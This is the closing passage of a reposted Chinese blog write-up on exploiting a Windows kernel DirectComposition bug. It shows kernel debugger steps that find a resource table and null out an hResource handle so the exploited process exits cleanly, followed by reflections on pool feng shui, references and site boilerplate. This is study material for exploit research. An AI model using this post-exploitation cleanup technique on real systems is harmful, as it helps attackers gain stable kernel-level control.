//step1 //************找到resourcetable的位置 kd>dqffff8ace`81f2f8b0+40l1 ffff8ace`81f2f8f0ffff8ace`81fa32a0 //************找到handle的大小 kd>dqffff8ace`81f2f8b0+60l1 ffff8ace`81f2f91000000000`00000008 //resourcetable加上句柄大小与句柄值成积,找到hresource的位置 kd>ddffff8ace`81fa32a0 ffff8ace`81fa32a000000000000000000000000000000000 ffff8ace`81fa32b0000000000000000081f6b450ffff8ace//hresource //step2 //**********将hResource置为NULL kd>p 0033:00007ff6`5ed01678ff1582d90000callqwordptr[00007ff6`5ed0f000] kd>p 0033:00007ff6`5ed0167eeb11jmp00007ff6`5ed01691 kd>ddffff8ace`81fa32a0 ffff8ace`81fa32a000000000000000000000000000000000 ffff8ace`81fa32b000000000000000000000000000000000

最后,果然进程退出时不会再产生crash,我们最终完成了一个完整的利用。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

Pool FengShui是非常有意思的过程,和Heap Fengshui一样,如何对内核空间进行精巧的布局是内核安全的大佬们喜欢研究的东西,在我开始学内核漏洞的时候,感觉相关的文章不多,随着Hacksys的HEVD这个训练驱动,可以看到相关的paper越来越多了,非常感谢撰写文章的大佬们,令我受益良多。感谢邱神的指点,大米的交流讨论,感觉这几个月进步了很多。

其实内核里还有非常非常多有意思的东西等待被挖掘,Ring0不同Ring3,它拥有更复杂更广阔的内容,同样久有着无限的可能,期待自己更多的努力,更多的进步,也欢迎小伙伴们一起交流进步,感谢阅读!!


0x05 引用

https://github.com/progmboy/cansecwest2017

https://msdn.microsoft.com/en-us/library/windows/desktop/hh437371(v=vs.85).aspx

https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf

https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study
【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study 本文转载自 whereisk0shl.top
原文链接:https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html

本文网络安全相关术语:网络安全工程师 网络信息安全 网络安全技术 网络安全知识

主题: UC360WindowsWin10SDN其实EPATIRY同大
分页:12
转载请注明
本文标题:【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study
本站链接:http://www.codesec.net/view/565652.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 网络安全 | 评论(0) | 阅读(37)